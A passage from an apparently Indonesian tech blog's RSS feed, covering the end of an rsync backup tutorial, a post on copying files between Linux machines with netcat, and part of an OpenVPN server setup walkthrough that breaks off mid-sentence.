Ketika akan melakukan &lt;em&gt;backup&lt;/em&gt; ke atau dari server, kita akan diminta untuk memasukkan password, karena memang &lt;strong&gt;rsync&lt;/strong&gt; menggunakan SSH sebagai protokol komunikasinya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Berikutnya, saya juga akan menunjukkan bagaimana &lt;strong&gt;&lt;code&gt;rsync&lt;/code&gt;&lt;/strong&gt; meng-&lt;em&gt;handle&lt;/em&gt; hanya file yang belum ada atau berubah saja, artinya, tidak semua file yang akan ter-&lt;em&gt;copy&lt;/em&gt;, tapi hanya file-file yang berubah atau belum ada saja yang akan ditambahkan dan atau diperbarui (di-&lt;em&gt;update&lt;/em&gt;) sehingga lebih efisien dalam melakukan &lt;em&gt;backup&lt;/em&gt; data.&lt;/p&gt;&lt;p&gt;Perhatikan, saya akan melakukan &lt;em&gt;backup&lt;/em&gt; data dari direktori &lt;strong&gt;&lt;code&gt;~/Templates&lt;/code&gt;&lt;/strong&gt; (di sebelah kiri) ke direktori &lt;strong&gt;&lt;code&gt;~/backup&lt;/code&gt;&lt;/strong&gt; (di sebelah kanan). Secara rinci, saya akan memindahkan / meng-&lt;em&gt;copy&lt;/em&gt; 3 file baru, yaitu &lt;strong&gt;baloon.jpg&lt;/strong&gt;, &lt;strong&gt;ipaddr.sh&lt;/strong&gt;, dan &lt;strong&gt;sample.pdf&lt;/strong&gt; dari &lt;strong&gt;&lt;code&gt;~/Templates&lt;/code&gt;&lt;/strong&gt; ke &lt;strong&gt;&lt;code&gt;~/backup&lt;/code&gt;&lt;/strong&gt; serta memperbarui / meng-&lt;em&gt;update&lt;/em&gt; isi konten pada file &lt;strong&gt;greetings.txt&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Untuk menampilkan progres, kita bisa gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-arzv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--progress&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/source/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/destination/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# menampilkan progress&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rsync&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-arzv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-P&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/source/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;~/destination/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# sama dengan --progress --partial&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Gimana? Mudah bukan?&lt;br /&gt;
Kalau masih bingung atau mau &lt;em&gt;explore&lt;/em&gt; lebih jauh tentang &lt;strong&gt;&lt;code&gt;rsync&lt;/code&gt;&lt;/strong&gt;, jangan sungkan-sungkan untuk baca-baca &lt;em&gt;manual page&lt;/em&gt;-nya dengan perintah &lt;strong&gt;&lt;code&gt;man rsync&lt;/code&gt;&lt;/strong&gt; atau berselancar dan bertanya ke mbah Google atau mas ChatGPT ya. Berikut saya coba lampirkan &lt;em&gt;cheatsheet&lt;/em&gt; &lt;strong&gt;rsync&lt;/strong&gt; yang barangkali bisa sedikit membantu :)&lt;/p&gt;&lt;p&gt;&lt;strong&gt;rsync&lt;/strong&gt; &lt;em&gt;cheatsheet&lt;/em&gt;: &lt;a href=&quot;https://devhints.io/rsync&quot; target=&quot;_blank&quot;&gt;https://devhints.io/rsync&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis menggunakan distro linux Debian dengan Tema: &lt;a href=&quot;https://www.youtube.com/watch?v=PPcU3NN61rQ&amp;amp;pp=ygUId2hhbGUgNTI%3D&quot; target=&quot;_blank&quot;&gt;52 Hz&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Whalien 52 - Paus paling kesepian di dunia&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;2160&quot; src=&quot;/_astro/debian-whalien.DPMRArhJ_Z1OCnuj.webp&quot; /&gt;&lt;figcaption&gt;Whalien 52 - Paus paling kesepian di dunia&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>netcat: The Simplest Way to Transfer File</title><link>https://shangdi.github.io/posts/tech/netcat/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/netcat/</guid><description>Learn the best way to transfer file(s) through a network.</description><pubDate>Sun, 29 Sep 2024 02:06:27 GMT</pubDate><content:encoded>&lt;p&gt;Saya biasa menggunakan &lt;strong&gt;scp&lt;/strong&gt; dan &lt;em&gt;simple webserver&lt;/em&gt; seperti yang disediakan oleh python jika ingin memindahkan satu atau lebih file dari sebuah mesin linux ke mesin linux lainnya (atau windows). Tapi, baru-baru ini saya lihat tutorial singkat di Youtube untuk men-&lt;em&gt;transfer&lt;/em&gt; file dengan cara yang lebih efektif, yaitu menggunakan &lt;strong&gt;netcat&lt;/strong&gt;. Saya sebut sebagai cara tersimpel setidaknya karena 3 alasan:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Paketnya tersedia di semua distro linux&lt;/li&gt;
&lt;li&gt;Instalasinya mudah, dan&lt;/li&gt;
&lt;li&gt;Penggunaannya relatif lebih mudah dan lebih praktis dibanding cara lainnya.&lt;/li&gt;
&lt;/ul&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install netcat-traditional&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy gnu-netcat&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install gnu-netcat&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install netcat-gnu&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk Windows, &lt;em&gt;binary&lt;/em&gt; netcat dapat diunduh di url berikut:&lt;br /&gt;
&lt;a href=&quot;https://nmap.org/download.html#windows&quot; target=&quot;_blank&quot;&gt;https://nmap.org/download.html#windows&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Berikut ini adalah artikel relevan terkait instalasi netcat di Windows: &lt;a href=&quot;https://medium.com/@bonguides25/how-to-install-netcat-on-windows-10-11-f5be1a185611&quot; target=&quot;_blank&quot;&gt;How to Install on Windows 10/11&lt;/a&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Demonstrasi&lt;a href=&quot;#demonstrasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Misalnya, saya ingin men-&lt;em&gt;transfer&lt;/em&gt; sebuah file gambar bernama &lt;strong&gt;skynight.jpg&lt;/strong&gt; dari Debian ke Archlinux, maka, langkah-langkahnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Siapkan &lt;em&gt;listener&lt;/em&gt; di Arch dengan perintah&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-lvnp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1234&lt;/span&gt;&lt;span&gt; &amp;gt; &lt;/span&gt;&lt;span&gt;skynight.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Perintah &lt;strong&gt;nc -lvnp 1234&lt;/strong&gt; artinya komputer melakukan &lt;em&gt;listening&lt;/em&gt; koneksi di port 1234.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;gt; skynight.jpg&lt;/strong&gt; artinya, koneksi dan paket yang masuk nanti akan disimpan ke dalam file bernama skynight.jpg.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Transfer file dari Debian ke Arch dengan perintah&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$IP&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1234&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-w&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;skynight.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Perintah &lt;strong&gt;nc $IP 1234&lt;/strong&gt; artinya komputer melakukan koneksi ke &lt;em&gt;ip address&lt;/em&gt; yang ditentukan di port 1234.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;-w 1&lt;/strong&gt; memberikan &lt;em&gt;timeout&lt;/em&gt; 1 detik, artinya koneksi akan ditutup setelah terhubung selama 1 detik.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;lt; skynight.jpg&lt;/strong&gt; artinya, paket yang dikirim adalah file bernama skynight.jpg.&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita bisa memastikan file yang di-&lt;em&gt;transfer&lt;/em&gt; tersebut (skynight.jpg) sudah terkirim dengan baik dengan mengecek &lt;em&gt;integrity file&lt;/em&gt;-nya melalui perintah berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sha256sum&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;skynight.jpg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah demonstrasinya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;transfer file through netcat&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;588&quot; src=&quot;/_astro/gif1.C56OukPz_Z2780q2.webp&quot; /&gt;&lt;figcaption&gt;transfer file through netcat&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Sangat mudah, kita hanya perlu tahu &lt;em&gt;ip address&lt;/em&gt; mesin yang akan kita kirimkan filenya. Itu saja, tidak perlu mengkonfigurasi macam-macam seperti bikin &lt;em&gt;key pairs&lt;/em&gt; (&lt;em&gt;private&lt;/em&gt; &amp;amp; &lt;em&gt;public key&lt;/em&gt;) seperti di ssh / scp misalnya.&lt;/p&gt;&lt;p&gt;Sebetulnya, video Youtube yang menginspirasi artikel ini adalah video short Youtube, tapi karena saya belum tahu cara menginputkan short tersebut di Hugo/HTML, berikut saya lampirkan video tutorial penggantinya:&lt;/p&gt;
&lt;/section&gt;</content:encoded></item><item><title>Building VPN Server using OpenVPN</title><link>https://shangdi.github.io/posts/tech/openvpn-server/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/openvpn-server/</guid><description>A step by step vpn server installation using openvpn~</description><pubDate>Fri, 20 Sep 2024 03:37:37 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Intro&lt;a href=&quot;#intro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Openvpn adalah sebuah VPN daemon &lt;em&gt;open source&lt;/em&gt; yang dibuat oleh James Yoman.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Kita mungkin sudah terbiasa menggunakan VPN untuk mengakses situs atau website yang di-&lt;em&gt;block&lt;/em&gt; oleh pemerintah. Itu artinya kita sudah terbiasa menggunakan VPN sebagai client untuk terhubung ke sebuah VPN server sehingga nanti &lt;em&gt;ip address&lt;/em&gt; kita akan berubah menjadi &lt;em&gt;ip address&lt;/em&gt; server VPN tersebut. Nah, di artikel ini, saya mau berbagi cara membuat VPN server kita sendiri menggunakan Openvpn.&lt;/p&gt;&lt;p&gt;Tutorial ini akan sangat mudah karena saya akan menggunakan sebuah &lt;em&gt;script&lt;/em&gt; instalasi yang dibuat oleh &lt;a href=&quot;https://github.com/angristan&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;angristan&lt;/strong&gt;&lt;/a&gt; di Github yang sebetulnya cara instalasinya sudah dijelaskan juga di sana:&lt;/p&gt;&lt;a href=&quot;https://github.com/angristan/openvpn-install&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;angristan&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;openvpn-install&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Karena saya tidak menggunakan server atau &lt;em&gt;virtual machine&lt;/em&gt; (VM) eksternal seperti yang disediakan oleh Google Cloud Platform, Oracle, dan lainnya, jadi saya hanya akan mendemokannya dari VM saya sendiri. Artinya, nanti saya tidak akan menggunakan &lt;em&gt;ip public&lt;/em&gt;, tapi &lt;em&gt;ip private&lt;/em&gt; saja.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Demo&lt;a href=&quot;#demo&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Jadi, skenario demo kali ini, yaitu sebagai berikut:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Debian&lt;/strong&gt; sebagai Openvpn Server.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Archlinux&lt;/strong&gt; sebagai Openvpn Client.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;So, langkah-langkah di bawah ini tentu saja saya lakukan di dalam VM Debian.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Downloading the script&lt;a href=&quot;#downloading-the-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Oke, pertama, kita bisa men-&lt;em&gt;download&lt;/em&gt; &lt;em&gt;script&lt;/em&gt;-nya terlebih dahulu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-O&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;https://raw.githubusercontent.com/angristan/openvpn-install/master/openvpn-install.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;chmod&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openvpn-install.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;downloading the script&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;586&quot; src=&quot;/_astro/ss1.DRG73xVI_Z1DsmFp.webp&quot; /&gt;&lt;figcaption&gt;downloading the script&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Running the script&lt;a href=&quot;#running-the-script&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kemudian, jalankan &lt;em&gt;script&lt;/em&gt;-nya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;./openvpn-install.sh&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kita akan diminta memasukkan &lt;em&gt;ip address&lt;/em&gt;:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Seharusnya, kita mengisikan &lt;em&gt;ip public&lt;/em&gt; dari server / &lt;em&gt;virtual machine&lt;/em&gt; yang akan kita &lt;em&gt;install&lt;/em&gt;-kan openvpn server ini, tapi seperti saya mention di awal, saya hanya akan menggunakan &lt;em&gt;ip private&lt;/em&gt;.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;asking for ip address&quot; loading=&quot;lazy&quot; width=&quot;930&quot; height=&quot;524&quot; src=&quot;/_astro/ss2.CDxO5P4o_22OA2R.webp&quot; /&gt;&lt;figcaption&gt;asking for ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Karena &lt;em&gt;script&lt;/em&gt; mendeteksi &lt;em&gt;ip address&lt;/em&gt; kita adalah &lt;em&gt;ip private&lt;/em&gt;, jadi, sekali lagi dia akan meminta ip public kita. Tapi, saya akan tetap mengisikan &lt;em&gt;ip private&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;asking for ip address&quot; loading=&quot;lazy&quot; width=&quot;699&quot; height=&quot;85&quot; src=&quot;/_astro/ss3.5E4EIJ5t_UBQbD.webp&quot; /&gt;&lt;figcaption&gt;asking for ip address&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Kemudian, ada beberapa pertanyaan yang dapat kita biarkan sebagaimana jawaban &lt;em&gt;default&lt;/em&gt;-nya, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Do you want to enable IPv6 support (NAT)? [y/n]: n&lt;/li&gt;
&lt;li&gt;What port do you want OpenVPN to listen to?
&lt;ol&gt;
&lt;li&gt;Default: 1194&lt;/li&gt;
&lt;li&gt;Custom&lt;/li&gt;
&lt;li&gt;Random [49152-65535]
Port choice [1-3]: 1&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;What protocol do you want OpenVPN to use?
UDP is faster. Unless it is not available, you shouldn’t use TCP.
&lt;ol&gt;
&lt;li&gt;UDP&lt;/li&gt;
&lt;li&gt;TCP
Protocol [1-2]: 1&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;What DNS resolvers do you want to use with the VPN?
&lt;ol&gt;
&lt;li&gt;Current system resolvers (from /etc/resolv.conf)&lt;/li&gt;
&lt;li&gt;Self-hosted DNS Resolver (Unbound)&lt;/li&gt;
&lt;li&gt;Cloudflare (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;Quad9 (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;Quad9 uncensored (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;FDN (France)&lt;/li&gt;
&lt;li&gt;DNS.WATCH (Germany)&lt;/li&gt;
&lt;li&gt;OpenDNS (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;Google (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;Yandex Basic (Russia)&lt;/li&gt;
&lt;li&gt;AdGuard DNS (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;NextDNS (Anycast: worldwide)&lt;/li&gt;
&lt;li&gt;Custom
DNS [1-12]: 11&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Do you want to use compression? It is not recommended since the VORACLE attack makes use of it.
Enable compression? [y/n]: n&lt;/li&gt;
&lt;li&gt;Do you want to customize encryption settings?
Unless you know what you’re doing, you should stick with the default parameters provided by the script.
Note that whatever you choose, all the choices presented in the script are safe. (Unlike OpenVPN’s defaults)
See &lt;a href=&quot;https://github.com/angristan/openvpn-install#security-and-encryption&quot; target=&quot;_blank&quot;&gt;https://github.com/angristan/openvpn-install#security-and-encryption&lt;/a&gt; to learn more.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Customize encryption settings? [y/n]: n&lt;/p&gt;&lt;p&gt;Berikutnya, kita bisa memulai proses instalasi dengan menekan Enter di keyboard dan biarkan proses update sistem dan instalasi berjalan hingga ada pertanyaan untuk meng-input-kan nama file &lt;em&gt;client&lt;/em&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;asking for ip client&apos;s name&quot; loading=&quot;lazy&quot; width=&quot;824&quot; height=&quot;108&quot; src=&quot;/_astro/ss4.RiPiWwmj_Z1L14QT.webp&quot; /&gt;&lt;figcaption&gt;asking for ip client&apos;s name&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Do you want to protect the configuration file with a password?
(e.g. encrypt the private key with a password)
&lt;ol&gt;
&lt;li&gt;Add a passwordless client&lt;/li&gt;
&lt;li&gt;Use a password for the client
Select an option [1-2]: 1&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Dan saya sudah memiliki sebuah file client openvpn:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;openvpn client&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;148&quot; src=&quot;/_astro/ss5.BkVIMDUY_19QR9D.webp&quot; /&gt;&lt;figcaption&gt;openvpn client&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Saya juga bisa memastikan openvpn sudah berjalan di server dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openvpn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;netstat&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-tupln&lt;/span&gt;&lt;span&gt; | &lt;/span&gt;&lt;span&gt;grep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;openvpn&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;checking openvpn server status&quot; loading=&quot;lazy&quot; width=&quot;802&quot; height=&quot;295&quot; src=&quot;/_astro/ss6.Dt3C4c1Z_Z2ltGuj.webp&quot; /&gt;&lt;figcaption&gt;checking openvpn server status&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Downloading client file config&lt;a href=&quot;#downloading-client-file-config&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, saya akan men-&lt;em&gt;download&lt;/em&gt; file konfigurasi client yang tadi sudah dibuat. File ini akan saya unduh ke Archlinux.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;downloading openvpn client config gile&quot; loading=&quot;lazy&quot; width=&quot;947&quot; height=&quot;557&quot; src=&quot;/_astro/ss7.CISfMHDi_ZadHn8.webp&quot; /&gt;&lt;figcaption&gt;downloading openvpn client config gile&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Connecting&lt;a href=&quot;#connecting&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk tersambung 